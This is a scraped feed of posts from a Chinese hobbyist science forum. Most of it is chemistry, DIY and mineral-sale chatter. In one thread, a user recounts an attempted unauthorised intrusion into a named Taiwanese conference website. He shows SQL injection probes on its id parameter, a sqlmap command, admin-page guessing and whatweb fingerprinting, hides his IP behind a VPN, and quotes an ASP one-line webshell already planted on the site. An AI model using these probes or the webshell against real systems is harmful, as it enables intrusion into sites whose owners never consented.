社区
空间
专栏
全部文章
smith发表回复 10年8个月前
第一个证明这个网站是IIS6.0 + access的，好老，挂不得会被发现有漏洞，第二个找到一个表表名是banner，这个确实是不常见的表名。也不太清楚这个表的作用是干嘛。第三个<%execute(request("admin"))%>明显就是一句话木马，证明这个网站已经有人入侵过了，估计已经拿了shell，而且还很长一段时间了。看来这个网站已经被别人入侵过了，很失望。
smith发表回复 10年8个月前
在这之前试了一下手动猜解表，admin和administrator、acens都试过了，没有一个猜出来，感觉其他人写得文章里面的步骤两下就猜出表来了有点不可思议，果然还是要靠工具吗？于是用sqlmap试了一下 上了sqlmap就开始哗啦啦地跑，此处略去大量打印，总之跑完之后猜出了以下的东西 python sqlmap.py -u http://acens-conf.org/index.asp?i...
smith发表回复 10年8个月前
再试了一下 http://acens-conf.org/robot.txt http://acens-conf.org/admin.asp http://acens-conf.org/admin/admin.asp http://acens-conf.org/administrator.asp ...... 都没找到页面，没办法，下一步只好交给工具了
smith发表回复 10年8个月前
用whatweb看了一下： http://acens-conf.org/index.asp [200] ASP_NET, Cookies[ASPSESSIONIDSSCARARB], Country[TAIWAN; REPUBLIC OF CHINA (ROC)][TW], HTTPServer[Microsoft-IIS/6.0], IP[220.133.246.2], Microsoft-II...
王WZJ_97发表回复 10年8个月前
小风扇经常湿着，硅钢片容易生锈卡住吧
smith发表回复 10年8个月前
再试了一下 http://acens-conf.org/index.asp?id=2 and 1=2 没有任何显示，前后的内容不一样，证明有sql注入点存在
smith发表回复 10年8个月前
先挂上VPN，这样我的IP就变成了某个小岛了，然后试一下 http://acens-conf.org/index.asp?id=2 and 1=1 正常
smith发表文章 10年8个月前
一次对台湾某网站的渗透测试
先说一下结果，没有成功，所以直接把网站地址发出来了。新手上路大牛莫喷，再加上这个站的价值也不大，没有什么信息。 网站地址这个： http://acens-conf.org/index.asp?id=2 这个网站是在百度锁定关键词org和asp找到的，这一类的站点漏洞比较多 页面还挺漂亮，和鬼子有联系？，The Asian Conference on Engineering and Natural ...
氕氘氚发表回复 10年8个月前
引用 826367277:3000m?l电热套、电动搅拌有意 刚才有个 q号格物的是你么 操作失误麻烦重加一下
氕氘氚发表回复 10年8个月前
引用 a676977007:电搅怎么样,JJ-1?我要  还好的吧 刚才有个 q号格物的是你么 操作失误麻烦重加一下
小丁ONE发表回复 10年8个月前
引用 499382569:我也正想做呢 土豪，你好
abc555发表回复 10年8个月前
引用 cccyl:对啊，广东地区很少用到加湿器，如果是用于清洗，这个功率也太小了吧 [s::lol]我做来喷雾玩的
cccyl发表回复 10年8个月前
引用 分析纯_金:还是超声清洗比较有爱 对啊，广东地区很少用到加湿器，如果是用于清洗，这个功率也太小了吧
paullxb2004发表文章 10年8个月前
雕刻机制作记
雕刻机制作记
kc276644985发表回复 10年8个月前
先准备20万再开始玩这个吧，其它的都是相对次要的。楼主最好有一个专业团队再搞这个~
kc276644985发表回复 10年8个月前
引用 FROZEN巨擘:想一想电费..... 我找人家烧，人家收了我一百多，坑钱啊！！以后还是玩堵漏王好了，小发动机足够啦
俗世怂人发表回复 10年8个月前
引用 阡陌徘徊:怎么全是规则冲突的绿色。。楼主焊盘靠得太近了吧，或者修改一下设计规则 绿色原来是不符合规则么。我加了敷铜瞬间全绿了，，我也没动
落叶兄发表回复 10年8个月前
老板，要一杯奶茶不要奶茶，然后就得到了这个杯具。。。[s:20]笑死了
光谱发表回复 10年8个月前
[s::lol]还是超声清洗比较有爱
abc555发表回复 10年8个月前
引用 张静茹:不错,很棒,雾化器就是压电扬声器吗? 雾化片和压电扬声器的原理相同，但不是同一个东西
阡陌徘徊发表回复 10年8个月前
怎么全是规则冲突的绿色。。楼主焊盘靠得太近了吧，或者修改一下设计规则
量子隧道发表回复 10年8个月前
引用 20！不曾存在:不用拆，结构太简单了，我小p孩的时候就看懂了，你还看不懂我也没办法。 “可以自动从地面弹出，可以作扇面喷洒，喷洒扇面角度大小可调。而且它的动力完全来自于水压”我不太相信你不拆就能看懂这些特性是靠什么机械结构实现的。
power_rdx发表回复 10年8个月前
4号钙铀 硕大一块 220元 5号钙铀 两个面有晶体，晶体质量很好是透明的 价格350元 6号钙铀 2个面有晶体，长了好多 价格350元
power_rdx发表回复 10年8个月前
1号钙铀 4个面都有晶体，很精致的小标本 价格220元 2号云母 160元 3号云母 160元
power_rdx发表文章 10年8个月前
【魔记矿晶】6月新货 钙铀云母
注意事项：    1.联系方式qq569452195     2.所有商品均可提供淘宝二手链接，不想使用淘宝的可转到我建行卡上，北京地区可见面交易 3.价格不包含运费，默认发顺丰经济件（18元），也可以发廉价快递，但丢失损坏责任自负     4.尺寸请参照刻度尺 5.想要更好的或者其它品种矿晶请直接联系我 本批次优惠：购买任意钙铀赠送小矿晶或玛瑙一块，购买2个包邮，购买3个及以上可打折...
TBsoft发表回复 10年8个月前
引用 甘露醇六硝酸酯:你需要加氧气，工业制硝酸氨氧法出来的都是一氧化氮，通氧气氧化的 工业制硝酸，氨氧化法中，混合气中氨含量在12%以下，如果氨含量超过15%（氨在空气中的爆炸下限），预热和进入氧化炉是要发生爆炸的！ 氨与空气混合达到爆炸极限，也是可以点燃爆炸的，这一点在中学化学教学中一般都被忽视了，只提到氨可以在纯氧中燃烧。 氧化炉中的氧化温度高达800摄氏度左右，此温度下，NO2早已分解（...
张静茹发表回复 10年8个月前
不错,很棒,雾化器就是压电扬声器吗?
Kiosk发表回复 10年8个月前
材料：高浓度过氧化氢（鉴于用量较大最好购买，上海哈勃卖这个） 银网催化 碳纤维高压气瓶 过氧化氢储罐（钛合金的最好[s::lol]，其他的也得保证不锈，参考相容性，要不然会炸） 改装的自行车 其余连接与控制装置 技术：液机设计 理论计算 至少入单组元液机设计那本书 上面关于过氧化氢竟然还有一些参考（比如各种相容性）烧钱的东西 不建议实践 除非有钱和专业人员指导 否则一定会走弯路